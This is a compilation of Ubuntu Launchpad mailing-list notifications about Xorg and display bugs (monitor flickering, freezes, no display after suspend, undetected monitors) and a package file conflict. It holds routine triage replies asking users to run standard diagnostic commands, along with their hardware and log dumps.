[Touch-packages] [Bug 1923167] Re: Screen flickering- QHD Benq
Please try a different cable. If that doesn't solve the problem then please run these commands: lspci -kv > lspci.txt journalctl -b0 > journal.txt xrandr --verbose > xrandr.txt and attach the resulting text files here. ** Package changed: xorg (Ubuntu) => xserver-xorg-video-amdgpu (Ubuntu) ** Changed in: xserver-xorg-video-amdgpu (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923167 Title: Screen flickering- QHD Benq Status in xserver-xorg-video-amdgpu package in Ubuntu: Incomplete Bug description: The Display continuously flickers when we are using the Displayport connection with QHD (2560x1440) Benq-Monitors. The affected Hardware is: Igel UD3-LX 60 (AMD Ryzen Embedded R1505G with Radeon Vega Gfx) Using a DP to HDMI-Adapter solves the problem with the given resolution. This error occurs in both Ubuntu Releases 18.04 and 20.10. This is what we see in the Logs: [27.144] (II) AMDGPU(0): EDID vendor "BNQ", prod id 32795 [27.144] (II) AMDGPU(0): Using hsync ranges from config file [27.144] (II) AMDGPU(0): Using vrefresh ranges from config file [27.144] (II) AMDGPU(0): Printing DDC gathered Modelines: [27.144] (II) AMDGPU(0): Modeline "2560x1440"x0.0 241.50 2560 2608 2640 2720 1440 1443 1448 1481 +hsync -vsync (88.8 kHz eP) [27.144] (II) AMDGPU(0): Modeline "720x480"x0.0 27.00 720 736 798 858 480 489 495 525 -hsync -vsync (31.5 kHz e) [27.144] (II) AMDGPU(0): Modeline "1280x720"x0.0 74.25 1280 1390 1430 1650 720 725 730 750 +hsync +vsync (45.0 kHz e) [27.144] (II) AMDGPU(0): Modeline "1280x720"x0.0 74.25 1280 1720 1760 1980 720 725 730 750 +hsync +vsync (37.5 kHz e) [27.144] (II) AMDGPU(0): Modeline "720x576"x0.0 27.00 720 732 796 864 576 581 586 625 -hsync -vsync (31.2 kHz e) [27.144] (II) AMDGPU(0): Modeline "1920x1080"x0.0 148.50 1920 2008 2052 2200 1080 1084 1089 1125 +hsync +vsync (67.5 kHz e) [27.144] (II) AMDGPU(0): Modeline "1920x1080"x0.0 148.50 1920 2448 2492 2640 1080 1084 1089 1125 +hsync +vsync (56.2 kHz e) [27.144] (II) AMDGPU(0): Modeline "1920x1080i"x0.0 74.25 1920 2008 2052 2200 1080 1084 1094 1125 interlace +hsync +vsync (33.8 kHz e) [27.144] (II) AMDGPU(0): Modeline "1920x1080i"x0.0 74.25 1920 2448 2492 2640 1080 1084 1094 1125 interlace +hsync +vsync (28.1 kHz e) [27.144] (II) AMDGPU(0): Modeline "640x480"x0.0 25.18 640 656 752 800 480 490 492 525 -hsync -vsync (31.5 kHz e) [27.144] (II) AMDGPU(0): Modeline "1440x480i"x0.0 27.00 1440 1478 1602 1716 480 488 494 525 interlace -hsync -vsync (15.7 kHz e) [27.144] (II) AMDGPU(0): Modeline "1440x576i"x0.0 27.00 1440 1464 1590 1728 576 580 586 625 interlace -hsync -vsync (15.6 kHz e) [27.144] (II) AMDGPU(0): Modeline "800x600"x0.0 40.00 800 840 968 1056 600 601 605 628 +hsync +vsync (37.9 kHz e) [27.144] (II) AMDGPU(0): Modeline "640x480"x0.0 31.50 640 656 720 840 480 481 484 500 -hsync -vsync (37.5 kHz e) [27.144] (II) AMDGPU(0): Modeline "720x400"x0.0 28.32 720 738 846 900 400 412 414 449 -hsync +vsync (31.5 kHz e) [27.144] (II) AMDGPU(0): Modeline "1280x1024"x0.0 135.00 1280 1296 1440 1688 1024 1025 1028 1066 +hsync +vsync (80.0 kHz e) [27.144] (II) AMDGPU(0): Modeline "1024x768"x0.0 78.75 1024 1040 1136 1312 768 769 772 800 +hsync +vsync (60.0 kHz e) [27.144] (II) AMDGPU(0): Modeline "1024x768"x0.0 65.00 1024 1048 1184 1344 768 771 777 806 -hsync -vsync (48.4 kHz e) [27.144] (II) AMDGPU(0): Modeline "832x624"x0.0 57.28 832 864 928 1152 624 625 628 667 -hsync -vsync (49.7 kHz e) [27.144] (II) AMDGPU(0): Modeline "800x600"x0.0 49.50 800 816 896 1056 600 601 604 625 +hsync +vsync (46.9 kHz e) [27.144] (II) AMDGPU(0): Modeline "1152x864"x0.0 108.00 1152 1216 1344 1600 864 865 868 900 +hsync +vsync (67.5 kHz e) [27.144] (II) AMDGPU(0): Modeline "1680x1050"x0.0 119.00 1680 1728 1760 1840 1050 1053 1059 1080 +hsync -vsync (64.7 kHz e) [27.144] (II) AMDGPU(0): Modeline "1600x900"x60.0 119.00 1600 1696 1864 2128 900 901 904 932 -hsync +vsync (55.9 kHz e) [27.144] (II) AMDGPU(0): Modeline "1280x1024"x0.0 108.00 1280 1328 1440 1688 1024 1025 1028 1066 +hsync +vsync (64.0 kHz e) [27.144] (II) AMDGPU(0): Modeline "1280x800"x0.0 71.00 1280 1328 1360 1440 800 803 809 823 +hsync -vsync (49.3 kHz e) [30.040] (DB) IGEL-SCREEN-LOCK: Window [layer=1] locked [33.163] (DB) IGEL-SCREEN-LOCK: Window [layer=1] destroyed To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xserver-xorg-video-amdgpu/+bug/1923167/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe
[Touch-packages] [Bug 1923397] Re: Xorg freeze
Thank you for taking the time to report this bug and helping to make Ubuntu better. It sounds like some part of the system has crashed. To help us find the cause of the crash please follow these steps: 1. Look in /var/crash for crash files and if found run: ubuntu-bug YOURFILE.crash Then tell us the ID of the newly-created bug. 2. If step 1 failed then look at https://errors.ubuntu.com/user/ID where ID is the content of file /var/lib/whoopsie/whoopsie-id on the machine. Do you find any links to recent problems on that page? If so then please send the links to us. 3. If step 2 also failed then apply the workaround from bug 994921, reboot, reproduce the crash, and retry step 1. Please take care to avoid attaching .crash files to bugs as we are unable to process them as file attachments. It would also be a security risk for yourself. ** Package changed: xorg (Ubuntu) => xorg-server (Ubuntu) ** Changed in: xorg-server (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923397 Title: Xorg freeze Status in xorg-server package in Ubuntu: Incomplete Bug description: When I login into Gnome or Plasma, the screen is soon freezed (it seems that Linux keeps doing something, however). Gnome Wayland is not affected. This is after I moved my system to a new computer. ProblemType: Bug DistroRelease: Ubuntu 20.10 Package: xorg 1:7.7+19ubuntu15 ProcVersionSignature: Ubuntu 5.8.0-48.54-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 ApportVersion: 2.20.11-0ubuntu50.5 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: skip CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Apr 12 07:37:00 2021 DistUpgraded: Fresh install DistroCodename: groovy DistroVariant: ubuntu DkmsStatus: virtualbox, 6.1.16, 5.8.0-45-generic, x86_64: installed virtualbox, 6.1.16, 5.8.0-48-generic, x86_64: installed ExtraDebuggingInterest: Yes GpuHangFrequency: Continuously GpuHangReproducibility: Yes, I can easily reproduce it GpuHangStarted: Today GraphicsCard: Intel Corporation UHD Graphics [8086:9b41] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] UHD Graphics [1025:1415] InstallationDate: Installed on 2018-06-23 (1023 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0bda:0129 Realtek Semiconductor Corp. RTS5129 Card Reader Controller Bus 001 Device 002: ID 04f2:b64f Chicony Electronics Co., Ltd HD User Facing Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Lsusb-t: /: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/6p, 1M /: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/12p, 480M |__ Port 5: Dev 2, If 0, Class=Video, Driver=uvcvideo, 480M |__ Port 5: Dev 2, If 1, Class=Video, Driver=uvcvideo, 480M |__ Port 6: Dev 3, If 0, Class=Vendor Specific Class, Driver=rtsx_usb, 480M MachineType: Acer TravelMate P215-52 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.8.0-48-generic root=UUID=521f8f0f-da76-44d7-8d98-2b45259ff93c ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) XorgLog: dmi.bios.date: 07/29/2020 dmi.bios.release: 1.20 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.20 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: BassDrum_CM dmi.board.vendor: CML dmi.board.version: V1.20 dmi.chassis.type: 10 dmi.chassis.vendor: Chassis Manufacturer dmi.chassis.version: Chassis Version dmi.ec.firmware.release: 1.12 dmi.modalias: dmi:bvnInsydeCorp.:bvrV1.20:bd07/29/2020:br1.20:efr1.12:svnAcer:pnTravelMateP215-52:pvrV1.20:rvnCML:rnBassDrum_CM:rvrV1.20:cvnChassisManufacturer:ct10:cvrChassisVersion: dmi.product.family: TravelMate P2 dmi.product.name: TravelMate P215-52 dmi.product.sku: dmi.product.version: V1.20 dmi.sys.vendor: Acer version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.10.1 version.libgl1-mesa-glx: libgl1-mesa-glx 20.2.6-0ubuntu0.20.10.1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200714-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to:
[Touch-packages] [Bug 1923381] Re: [Lenovo ThinkPad T450s] regression: no display when waking from suspend
Thanks for the bug report. I can see two immediate problems. The first problem isn't really related to this bug but you should fix it anyway. Your log is being flooded by crashes in 'onedrive'. If you don't need 'onedrive' then consider uninstalling it. The second problem is these messages in your Xorg logs which might be related to this bug: [ 87005.338] [dix] EventToCore: Not implemented yet [ 87131.437] [dix] EventToCore: Not implemented yet [ 87283.009] [dix] EventToCore: Not implemented yet Next we would like to see a system log of the problem happening so please: 1. Reproduce the bug again such that the machine is unresponsive. 2. Wait 30 seconds. 3. Do a "hard reboot". 4. Run: journalctl -b-1 > prevboot.txt 5. Attach the resulting text file here. 6. Follow these instructions to check for crashes: https://wiki.ubuntu.com/Bugs/Responses#Missing_a_crash_report_or_having_a_.crash_attachment ** Summary changed: - regression: no display when waking from suspend + [Lenovo ThinkPad T450s] regression: no display when waking from suspend ** Package changed: xorg (Ubuntu) => xorg-server (Ubuntu) ** Tags added: multimonitor ** Changed in: xorg-server (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923381 Title: [Lenovo ThinkPad T450s] regression: no display when waking from suspend Status in xorg-server package in Ubuntu: Incomplete Bug description: I have two Lenovo T450s laptops running Ubuntu 20.10. A few weeks ago, suspend stopped working properly: with an external monitor, the external monitor no longer registers the connection when waking from suspend. Without, the laptop screen is black and the machine unresponsive until hard-rebooted, when waking from suspend ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.4.0-70.78-generic 5.4.94 Uname: Linux 5.4.0-70-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: skip CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sun Apr 11 17:53:01 2021 DistUpgraded: 2020-06-01 15:46:34,953 ERROR got error from PostInstallScript ./xorg_fix_proprietary.py (g-exec-error-quark: Failed to execute child process “./xorg_fix_proprietary.py” (No such file or directory) (8)) DistroCodename: focal DistroVariant: ubuntu DkmsStatus: virtualbox, 6.1.16, 5.4.0-66-generic, x86_64: installed virtualbox, 6.1.16, 5.4.0-67-generic, x86_64: installed virtualbox, 6.1.16, 5.4.0-70-generic, x86_64: installed EcryptfsInUse: Yes ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Lenovo HD Graphics 5500 [17aa:5036] InstallationDate: Installed on 2019-01-24 (808 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Release amd64 (20181017.3) MachineType: LENOVO 20BXCTO1WW ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-70-generic root=UUID=a6081f39-700f-4698-bda4-464e53d9d229 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: Upgraded to focal on 2020-06-01 (314 days ago) dmi.bios.date: 09/13/2017 dmi.bios.vendor: LENOVO dmi.bios.version: JBET66WW (1.30 ) dmi.board.asset.tag: Not Available dmi.board.name: 20BXCTO1WW dmi.board.vendor: LENOVO dmi.board.version: SDK0J40697 WIN dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: None dmi.modalias: dmi:bvnLENOVO:bvrJBET66WW(1.30):bd09/13/2017:svnLENOVO:pn20BXCTO1WW:pvrThinkPadT450s:rvnLENOVO:rn20BXCTO1WW:rvrSDK0J40697WIN:cvnLENOVO:ct10:cvrNone: dmi.product.family: ThinkPad T450s dmi.product.name: 20BXCTO1WW dmi.product.sku: LENOVO_MT_20BX_BU_Think_FM_ThinkPad T450s dmi.product.version: ThinkPad T450s dmi.sys.vendor: LENOVO version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 20.2.6-0ubuntu0.20.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/1923381/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~tou
[Touch-packages] [Bug 1923333] Re: Benq G610HDA not being detected
Thanks for the bug report. It appears the Nvidia Xorg driver has not been installed properly so any display plugged into the Nvidia GPU won't be detected. Please try uninstalling and then reinstalling the Nvidia driver using the 'Additional Drivers' app. ** Package changed: xorg (Ubuntu) => nvidia-graphics-drivers-460 (Ubuntu) ** Changed in: nvidia-graphics-drivers-460 (Ubuntu) Status: New => Incomplete ** Description changed: - My monitor Benq G610HDA is not being detected by Ubuntu. Good VGI Cable, + My monitor Benq G610HDA is not being detected by Ubuntu. Good VGA Cable, still Unknown display ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.8.0-48.54~20.04.1-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.capabilities.gpu0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/capabilities/gpu0' .proc.driver.nvidia.capabilities.mig: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/capabilities/mig' .proc.driver.nvidia.gpus..04.00.0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/gpus/:04:00.0' .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.suspend: suspend hibernate resume .proc.driver.nvidia.suspend_depth: default modeset uvm .proc.driver.nvidia.version: - NVRM version: NVIDIA UNIX x86_64 Kernel Module 460.39 Thu Jan 21 21:54:06 UTC 2021 - GCC version: gcc version 10.2.0 (Ubuntu 10.2.0-5ubuntu1~20.04) + NVRM version: NVIDIA UNIX x86_64 Kernel Module 460.39 Thu Jan 21 21:54:06 UTC 2021 + GCC version: gcc version 10.2.0 (Ubuntu 10.2.0-5ubuntu1~20.04) ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: skip CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sun Apr 11 13:13:18 2021 DistUpgraded: Fresh install DistroCodename: focal DistroVariant: ubuntu DkmsStatus: - nvidia, 460.39, 5.8.0-45-generic, x86_64: installed (WARNING! Diff between built and installed module!) (WARNING! Diff between built and installed module!) (WARNING! Diff between built and installed module!) - nvidia, 460.39, 5.8.0-48-generic, x86_64: installed - v4l2loopback, 0.12.3, 5.8.0-45-generic, x86_64: installed - v4l2loopback, 0.12.3, 5.8.0-48-generic, x86_64: installed + nvidia, 460.39, 5.8.0-45-generic, x86_64: installed (WARNING! Diff between built and installed module!) (WARNING! Diff between built and installed module!) (WARNING! Diff between built and installed module!) + nvidia, 460.39, 5.8.0-48-generic, x86_64: installed + v4l2loopback, 0.12.3, 5.8.0-45-generic, x86_64: installed + v4l2loopback, 0.12.3, 5.8.0-48-generic, x86_64: installed ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: - Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) -Subsystem: ASUSTeK Computer Inc. HD Graphics 5500 [1043:1a7d] -Subsystem: ASUSTeK Computer Inc. GM108M [GeForce 940M] [1043:1a7d] + Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) + Subsystem: ASUSTeK Computer Inc. HD Graphics 5500 [1043:1a7d] + Subsystem: ASUSTeK Computer Inc. GM108M [GeForce 940M] [1043:1a7d] InstallationDate: Installed on 2021-02-08 (61 days ago) InstallationMedia: Ubuntu 20.04.2 LTS "Focal Fossa" - Release amd64 (20210204) MachineType: ASUSTeK COMPUTER INC. X455LB ProcEnviron: - LANGUAGE=en_PH:en - PATH=(custom, no user) - XDG_RUNTIME_DIR= - LANG=en_PH.UTF-8 - SHELL=/bin/zsh + LANGUAGE=en_PH:en + PATH=(custom, no user) + XDG_RUNTIME_DIR= + LANG=en_PH.UTF-8 + SHELL=/bin/zsh ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.8.0-48-generic root=UUID=def1bb03-4353-441e-b107-29aaf5b72e17 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/03/2015 dmi.bios.release: 5.6 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: X455LB.205 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: X455LB dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: ATN12345678901234567 dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrX455LB.205:bd08/03/2015:br5.6:svnASUSTeKCOMPUTERINC.:pnX455LB:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnX455LB:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.family: X dmi.product.name: X455LB dmi.product.sku: ASUS-NotebookSKU dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.nvidia-graphics-drivers: nvidia-graphics-driver
[Touch-packages] [Bug 1923318] Re: Ubuntu does not detect video output devices
Please also run these commands: lspci -kv > lspci.txt journalctl -b0 > journal.txt xrandr --verbose > xrandr.txt grep . /sys/class/drm/*/status > kernelconn.txt grep . /sys/class/drm/*/modes > kernelmodes.txt and attach the resulting text files here. ** Package changed: xorg (Ubuntu) => xorg-server (Ubuntu) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923318 Title: Ubuntu does not detect video output devices Status in xorg-server package in Ubuntu: Incomplete Bug description: Firstly I'd like to apologize as I am a novice Ubuntu user and I am unsure as to which information I should include within this report. That being said, I have installed linux 20.04-- my system: cpu: ryzen 9 3900x, gpu: radeon rx6800. Ubuntu is detecting default display at correct resolution, which is connected via DisplayPort on rx6800 gpu. However, my second monitor, LGCX 4k OLED connected via HDMI is not detected in display properties window. xrandr does not detect outputs other than default display. I have run apt-get update and apt-get upgrade, restarted, unplugged and plugged displays back in, tried installing amd-gpu drivers separately which were downloaded from official website, i have tried updating kernal, along with many other troubleshooting strategies. I believe this to be some sort of software issue. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/1923318/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1923233] Re: Computer is very slow
Thanks for the bug report. I can't see anything broken so can you explain exactly what is slow (and what isn't)? Please also open a Terminal window and run 'top'. How much CPU is used while the computer is slow? ** Package changed: xorg (Ubuntu) => ubuntu ** Changed in: ubuntu Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923233 Title: Computer is very slow Status in Ubuntu: Incomplete Bug description: Lap Top Computer is very slow ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.4.0-70.78-generic 5.4.94 Uname: Linux 5.4.0-70-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 BootLog: [[0;32m OK [0m] Started [0;1;39mManage, Install and Generate Color Profiles[0m. [[0;32m OK [0m] Started [0;1;39mGNOME Display Manager[0m. CasperMD5CheckResult: skip CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None Date: Fri Apr 9 12:49:55 2021 DistUpgraded: 2020-10-01 06:06:52,217 ERROR got error from PostInstallScript ./xorg_fix_proprietary.py (g-exec-error-quark: Falló al ejecutar el proceso hijo «./xorg_fix_proprietary.py» (No existe el archivo o el directorio) (8)) DistroCodename: focal DistroVariant: ubuntu ExtraDebuggingInterest: Yes GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Stoney [Radeon R2/R3/R4/R5 Graphics] [1002:98e4] (rev da) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Stoney [Radeon R2/R3/R4/R5 Graphics] [103c:8330] InstallationDate: Installed on 2018-02-18 (1145 days ago) InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 (20170801) MachineType: HP HP Laptop 15-bw0xx ProcEnviron: LANGUAGE=es_MX:es PATH=(custom, no user) LANG=es_MX.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-70-generic root=UUID=eb8ec2b9-9416-44bb-bd9a-da00109b6198 ro quiet splash SourcePackage: xorg UpgradeStatus: Upgraded to focal on 2020-10-01 (190 days ago) dmi.bios.date: 11/01/2017 dmi.bios.vendor: Insyde dmi.bios.version: F.20 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 8330 dmi.board.vendor: HP dmi.board.version: 27.31 dmi.chassis.asset.tag: Chassis Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsyde:bvrF.20:bd11/01/2017:svnHP:pnHPLaptop15-bw0xx:pvrType1ProductConfigId:rvnHP:rn8330:rvr27.31:cvnHP:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV HP Notebook dmi.product.name: HP Laptop 15-bw0xx dmi.product.sku: 1GR30LA#ABM dmi.product.version: Type1ProductConfigId dmi.sys.vendor: HP version.compiz: compiz 1:0.9.14.1+20.04.20200211-0ubuntu1 version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 20.2.6-0ubuntu0.20.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.6-1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 xserver.bootTime: Tue Nov 20 10:27:42 2018 xserver.configfile: default xserver.errors: AMDGPU(0): drmmode_do_crtc_dpms cannot get last vblank counter xserver.logfile: /var/log/Xorg.0.log xserver.version: 2:1.19.6-1ubuntu4.1~16.04.2 xserver.video_driver: amdgpu To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+bug/1923233/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1916250] Re: gir1.2-signon-2.0 needs to declare replace on older releases (Groovy2Hirsute)
Looks like this conflicting file started shipping in an Ubuntu delta 1.4-0ubuntu1 in Quantal, and Debian never shipped it in gir1.2-signon-1.0 - only in gir1.2-signon-2.0. So this is an Ubuntu- specific problem. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libsignon-glib in Ubuntu. https://bugs.launchpad.net/bugs/1916250 Title: gir1.2-signon-2.0 needs to declare replace on older releases (Groovy2Hirsute) Status in libsignon-glib package in Ubuntu: New Bug description: gir1.2-signon-1.0 from groovy gir1.2-signon-2.0 from hirsute above two packages ship the same file /usr/lib/python3/dist- packages/gi/overrides/Signon.py without specifying how to resolve the conflict. Unpacking gir1.2-signon-2.0:amd64 (2.1-3) ... dpkg: error processing archive /var/cache/apt/archives/gir1.2-signon-2.0_2.1-3_amd64.deb (--unpack): trying to overwrite '/usr/lib/python3/dist-packages/gi/overrides/Signon.py', which is also in package gir1.2-signon-1.0 1.14+17.04.20161117-0ubuntu5 Errors were encountered while processing: /var/cache/apt/archives/gir1.2-signon-2.0_2.1-3_amd64.deb E: Sub-process /usr/bin/dpkg returned an error code (1) Probably needs a conflicts/replaces dependency added to the newer hirsute package. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libsignon-glib/+bug/1916250/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1923397] [NEW] Xorg freeze
Public bug reported: When I login into Gnome or Plasma, the screen is soon freezed (it seems that Linux keeps doing something, however). Gnome Wayland is not affected. This is after I moved my system to a new computer. ProblemType: Bug DistroRelease: Ubuntu 20.10 Package: xorg 1:7.7+19ubuntu15 ProcVersionSignature: Ubuntu 5.8.0-48.54-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 ApportVersion: 2.20.11-0ubuntu50.5 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: skip CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Apr 12 07:37:00 2021 DistUpgraded: Fresh install DistroCodename: groovy DistroVariant: ubuntu DkmsStatus: virtualbox, 6.1.16, 5.8.0-45-generic, x86_64: installed virtualbox, 6.1.16, 5.8.0-48-generic, x86_64: installed ExtraDebuggingInterest: Yes GpuHangFrequency: Continuously GpuHangReproducibility: Yes, I can easily reproduce it GpuHangStarted: Today GraphicsCard: Intel Corporation UHD Graphics [8086:9b41] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] UHD Graphics [1025:1415] InstallationDate: Installed on 2018-06-23 (1023 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0bda:0129 Realtek Semiconductor Corp. RTS5129 Card Reader Controller Bus 001 Device 002: ID 04f2:b64f Chicony Electronics Co., Ltd HD User Facing Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Lsusb-t: /: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/6p, 1M /: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/12p, 480M |__ Port 5: Dev 2, If 0, Class=Video, Driver=uvcvideo, 480M |__ Port 5: Dev 2, If 1, Class=Video, Driver=uvcvideo, 480M |__ Port 6: Dev 3, If 0, Class=Vendor Specific Class, Driver=rtsx_usb, 480M 